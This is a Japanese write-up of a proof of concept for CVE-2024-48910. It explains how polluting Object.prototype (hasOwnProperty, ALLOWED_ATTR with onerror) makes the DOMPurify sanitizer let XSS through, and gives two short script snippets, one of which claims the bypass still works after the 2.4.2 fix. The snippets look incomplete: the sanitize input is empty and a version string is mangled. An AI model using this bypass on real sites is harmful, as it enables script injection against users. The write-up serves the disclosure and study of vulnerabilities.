
CVE-2024-48910の概念実証エクスプロイト。DOMPurify XSSサニタイザーのプロトタイプ汚染バイパスを実証し、巧妙に細工されたHTML属性を介して任意のJavaScriptを実行します。
CVE-2024-48910 DOM のみを対象とした、超高速で寛容な HTML・MathML・SVG 用 XSS サニタイザーである DOMPurify に、プロトタイプ汚染の脆弱性(CVE-2024-48910)があることが判明しました。この脆弱性はバージョン 2.4.2 で発見・修正され、最初の開示は 2024 年 10 月 31 日に行われました。
DOMPurify のプロトタイプ汚染の脆弱性により、攻撃者がオブジェクトのプロトタイプ属性を改ざんできる可能性があり、セキュリティバイパスやアプリケーションの動作の不正な変更につながる恐れがあります。高い CVSS スコアは、システムセキュリティへの重大な影響の可能性を示しており、特にデータの機密性と完全性に影響を及ぼします。
この脆弱性には CVSS v3.1 基本値 9.1(CRITICAL)が割り当てられており、ベクター文字列は CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N です。これは、この脆弱性が低い攻撃複雑性でリモートから悪用可能であり、特権やユーザー操作を必要とせず、可用性には影響しないものの、機密性と完全性の両方に高い影響を与える可能性があることを示しています。
変更ログを見ると、.__proto__. を含むテストケースが追加されていることが確認でき、プロトタイプインジェクションであることが示唆されます。

次に追加された行は、それ以前は「truthy」なものに対して true と評価されていたことを意味します。

XSS 保護がバイパスされ、onerror が「許可」されます。
<script>Object.prototype.hasOwnProperty=Object</script>
<script>Object.prototype.ALLOWED_ATTR=["src","onerror"]</script>
<script src=//cdn.jsdelivr.net/npm/[email protected]/dist/purify.min.js></script>
<script>document.write(DOMPurify.sanitize(''))</script>
2.4.2 にアップグレードしても、まだ alert() を表示させることができました... 必要なのは、
Object.prototype.hasOwnProperty = () => true; を設定して保護をバイパスすることだけです LOL!!
<script>Object.prototype.hasOwnProperty = () => true;</script>
<script>Object.prototype.ALLOWED_ATTR=["src","onerror"]</script>
<script src=//cdn.jsdelivr.net/npm/[email protected]/dist/purify.min.js></script>
<script>document.write(DOMPurify.sanitize(''))</script>